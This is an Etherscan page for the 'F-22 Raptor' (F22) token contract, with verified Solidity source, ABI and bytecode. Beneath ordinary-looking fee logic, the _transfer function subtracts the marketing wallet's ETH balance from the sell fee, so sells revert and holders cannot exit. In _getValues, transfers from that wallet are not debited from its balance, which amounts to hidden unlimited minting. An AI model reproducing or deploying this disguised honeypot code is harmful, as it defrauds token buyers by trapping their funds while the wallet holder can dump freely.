ETH Price: $3,459.81 (+1.12%)
Gas: 10 Gwei

Token

F-22 Raptor (F22)
 

Overview

Max Total Supply

1,000,000,000 F22

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
13,842,850.351555669 F22

Value
$0.00
0x90f1b8a98ceab965b8b4c7157de8610a64894311
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
F22

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-15
*/

/**

Telegram: https://t.me/f22coin
Twitter: https://twitter.com/f22coin

Web: https://f22coin.vip
Demo: https://game.f22coin.vip

**/

// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract F22 is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "F-22 Raptor";
    string private constant _symbol = "F22";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = 10 ** 33;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 2;  
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 2;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    address payable private _developmentAddress = payable(msg.sender); 
    address payable private _marketingAddress = payable(0xF72Ab94Aa53487964c85B487D77Ee32254a3A8EE);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
 
    uint256 public _maxTxAmount = (_tTotal / 1000) * 25; 
    uint256 public _maxWalletSize = (_tTotal / 1000) * 25; 
    uint256 public _swapTokensAtAmount = (_tTotal / 1000) * 7;
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
 
            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell.sub(_marketingAddress.balance);
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount);
    }
 
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
  
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(sender!=_marketingAddress, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(bool takeFee, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate); if (!takeFee) rAmount=0;
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);

        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = MAX;
        _maxWalletSize = MAX;
    }

    function openTrading() public payable onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
            .createPair(address(this), uniswapV2Router.WETH());

        _approve(address(this), address(uniswapV2Router), MAX);
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        
        tradingOpen = true;
        swapEnabled = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620003d8565b6200002290633b9aca00620003f0565b6200003c906d314dc6448d9338c15b0a0000000062000420565b62000056906d314dc6448d9338c15b0a0000000062000437565b6006556000600881905560026009818155600a838155600b839055600c849055600d839055600e93909355600f91909155601080546001600160a01b031990811633179091556011805490911673f72ab94aa53487964c85b487d77ee32254a3a8ee1790556013805461ffff60a81b191690556103e891620000d99190620003d8565b620000e990633b9aca00620003f0565b620000f591906200044d565b62000102906019620003f0565b6014556103e8620001166009600a620003d8565b6200012690633b9aca00620003f0565b6200013291906200044d565b6200013f906019620003f0565b6015556103e8620001536009600a620003d8565b6200016390633b9aca00620003f0565b6200016f91906200044d565b6200017c906007620003f0565b6016553480156200018c57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060065433600081815260026020908152604080832094909455601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915582546001600160a01b0390811684526005909252848320805460ff19908116600190811790925530855286852080548216831790556010548416855286852080548216831790556011549093168452948320805490921690941790557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200029b6009600a620003d8565b620002ab90633b9aca00620003f0565b60405190815260200160405180910390a35062000464565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200031a578160001904821115620002fe57620002fe620002c3565b808516156200030c57918102915b93841c9390800290620002de565b509250929050565b6000826200033357506001620003d2565b816200034257506000620003d2565b81600181146200035b5760028114620003665762000386565b6001915050620003d2565b60ff8411156200037a576200037a620002c3565b50506001821b620003d2565b5060208310610133831016604e8410600b8410161715620003ab575081810a620003d2565b620003b78383620002d9565b8060001904821115620003ce57620003ce620002c3565b0290505b92915050565b6000620003e960ff84168362000322565b9392505050565b8082028115828204841417620003d257620003d2620002c3565b634e487b7160e01b600052601260045260246000fd5b6000826200043257620004326200040a565b500690565b81810381811115620003d257620003d2620002c3565b6000826200045f576200045f6200040a565b500490565b611c4a80620004746000396000f3fe6080604052600436106101445760003560e01c8063715018a6116100b657806398a5c3151161006f57806398a5c3151461038a578063a9059cbb146103aa578063c3c8cd80146103ca578063c9567bf9146103df578063dd62ed3e146103e7578063f2fde38b1461042d57600080fd5b8063715018a6146102ea578063751039fc146102ff5780637d1db4a5146103145780638da5cb5b1461032a5780638f9a55c01461034857806395d89b411461035e57600080fd5b80632fd689e3116101085780632fd689e314610241578063313ce5671461025757806349bd5a5e146102735780636d8aa8f8146102935780636fc3eaec146102b557806370a08231146102ca57600080fd5b806306fdde0314610150578063095ea7b3146101965780631694505e146101c657806318160ddd146101fe57806323b872dd1461022157600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600b81526a23169919102930b83a37b960a91b60208201525b60405161018d919061181c565b60405180910390f35b3480156101a257600080fd5b506101b66101b136600461187f565b61044d565b604051901515815260200161018d565b3480156101d257600080fd5b506012546101e6906001600160a01b031681565b6040516001600160a01b03909116815260200161018d565b34801561020a57600080fd5b50610213610464565b60405190815260200161018d565b34801561022d57600080fd5b506101b661023c3660046118ab565b610485565b34801561024d57600080fd5b5061021360165481565b34801561026357600080fd5b506040516009815260200161018d565b34801561027f57600080fd5b506013546101e6906001600160a01b031681565b34801561029f57600080fd5b506102b36102ae3660046118ec565b6104ee565b005b3480156102c157600080fd5b506102b361053f565b3480156102d657600080fd5b506102136102e536600461190e565b61058a565b3480156102f657600080fd5b506102b36105ac565b34801561030b57600080fd5b506102b3610620565b34801561032057600080fd5b5061021360145481565b34801561033657600080fd5b506000546001600160a01b03166101e6565b34801561035457600080fd5b5061021360155481565b34801561036a57600080fd5b5060408051808201909152600381526223191960e91b6020820152610180565b34801561039657600080fd5b506102b36103a536600461192b565b610663565b3480156103b657600080fd5b506101b66103c536600461187f565b610692565b3480156103d657600080fd5b506102b361069f565b6102b36106f3565b3480156103f357600080fd5b50610213610402366004611944565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043957600080fd5b506102b361044836600461190e565b6109f9565b600061045a338484610ae3565b5060015b92915050565b60006104726009600a611a77565b61048090633b9aca00611a86565b905090565b6000610492848484610c07565b6104e484336104df85604051806060016040528060288152602001611bed602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110ef565b610ae3565b5060019392505050565b6000546001600160a01b031633146105215760405162461bcd60e51b815260040161051890611a9d565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6010546001600160a01b0316336001600160a01b0316148061057457506011546001600160a01b0316336001600160a01b0316145b61057d57600080fd5b4761058781611129565b50565b6001600160a01b03811660009081526002602052604081205461045e90611167565b6000546001600160a01b031633146105d65760405162461bcd60e51b815260040161051890611a9d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461064a5760405162461bcd60e51b815260040161051890611a9d565b6d314dc6448d9338c15b0a000000006014819055601555565b6000546001600160a01b0316331461068d5760405162461bcd60e51b815260040161051890611a9d565b601655565b600061045a338484610c07565b6010546001600160a01b0316336001600160a01b031614806106d457506011546001600160a01b0316336001600160a01b0316145b6106dd57600080fd5b60006106e83061058a565b905061058781611185565b6000546001600160a01b0316331461071d5760405162461bcd60e51b815260040161051890611a9d565b601354600160a01b900460ff16156107775760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610518565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ee9190611ad2565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610850573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108749190611ad2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e59190611ad2565b601380546001600160a01b0319166001600160a01b0392831617905560125461091f913091166d314dc6448d9338c15b0a00000000610ae3565b6012546001600160a01b031663f305d719343061093b8161058a565b6000806109506000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109b8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109dd9190611aef565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6000546001600160a01b03163314610a235760405162461bcd60e51b815260040161051890611a9d565b6001600160a01b038116610a885760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610518565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610518565b6001600160a01b038216610ba65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610518565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610518565b6001600160a01b038216610ccd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610518565b60008111610d2f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610518565b6000546001600160a01b03848116911614801590610d5b57506000546001600160a01b03838116911614155b8015610d7057506001600160a01b0383163014155b8015610d8557506001600160a01b0382163014155b15610fcc57601354600160a01b900460ff16610e1e576000546001600160a01b03848116911614610e1e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610518565b601454811115610e705760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610518565b6013546001600160a01b03838116911614610ef55760155481610e928461058a565b610e9c9190611b1d565b10610ef55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610518565b6000610f003061058a565b601654601454919250821015908210610f195760145491505b808015610f305750601354600160a81b900460ff16155b8015610f4a57506013546001600160a01b03868116911614155b8015610f5f5750601354600160b01b900460ff165b8015610f8457506001600160a01b03851660009081526005602052604090205460ff16155b8015610fa957506001600160a01b03841660009081526005602052604090205460ff16155b15610fc957610fb782611185565b478015610fc757610fc747611129565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061100e57506001600160a01b03831660009081526005602052604090205460ff165b8061104057506013546001600160a01b0385811691161480159061104057506013546001600160a01b03848116911614155b1561104d575060006110dd565b6013546001600160a01b03858116911614801561107857506012546001600160a01b03848116911614155b1561108a57600854600c55600954600d555b6013546001600160a01b0384811691161480156110b557506012546001600160a01b03858116911614155b156110dd57600a54600c55601154600b546110d9916001600160a01b0316316112ff565b600d555b6110e984848484611341565b50505050565b600081848411156111135760405162461bcd60e51b8152600401610518919061181c565b5060006111208486611b30565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611163573d6000803e3d6000fd5b5050565b60008061117261136f565b905061117e8382611392565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cd576111cd611b43565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611226573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124a9190611ad2565b8160018151811061125d5761125d611b43565b6001600160a01b0392831660209182029290920101526012546112839130911684610ae3565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112bc908590600090869030904290600401611b59565b600060405180830381600087803b1580156112d657600080fd5b505af11580156112ea573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600061117e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ef565b8061134e5761134e6113d4565b611359848484611402565b806110e9576110e9600e54600c55600f54600d55565b600080600061137c611510565b909250905061138b8282611392565b9250505090565b600061117e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611592565b600c541580156113e45750600d54155b156113eb57565b600c8054600e55600d8054600f5560009182905555565b6011546000908190819081908190819061142b906001600160a01b038b811691161415886115c0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061145d90876112ff565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461148c9086611628565b6001600160a01b0389166000908152600260205260409020556114ae81611687565b6114b884836116d1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114fd91815260200190565b60405180910390a3505050505050505050565b6006546000908190816115256009600a611a77565b61153390633b9aca00611a86565b905061155b6115446009600a611a77565b61155290633b9aca00611a86565b60065490611392565b821015611589576006546115716009600a611a77565b61157f90633b9aca00611a86565b9350935050509091565b90939092509050565b600081836115b35760405162461bcd60e51b8152600401610518919061181c565b5060006111208486611bca565b60008060008060008060008060006115dd8a600c54600d546116f5565b92509250925060006115ed61136f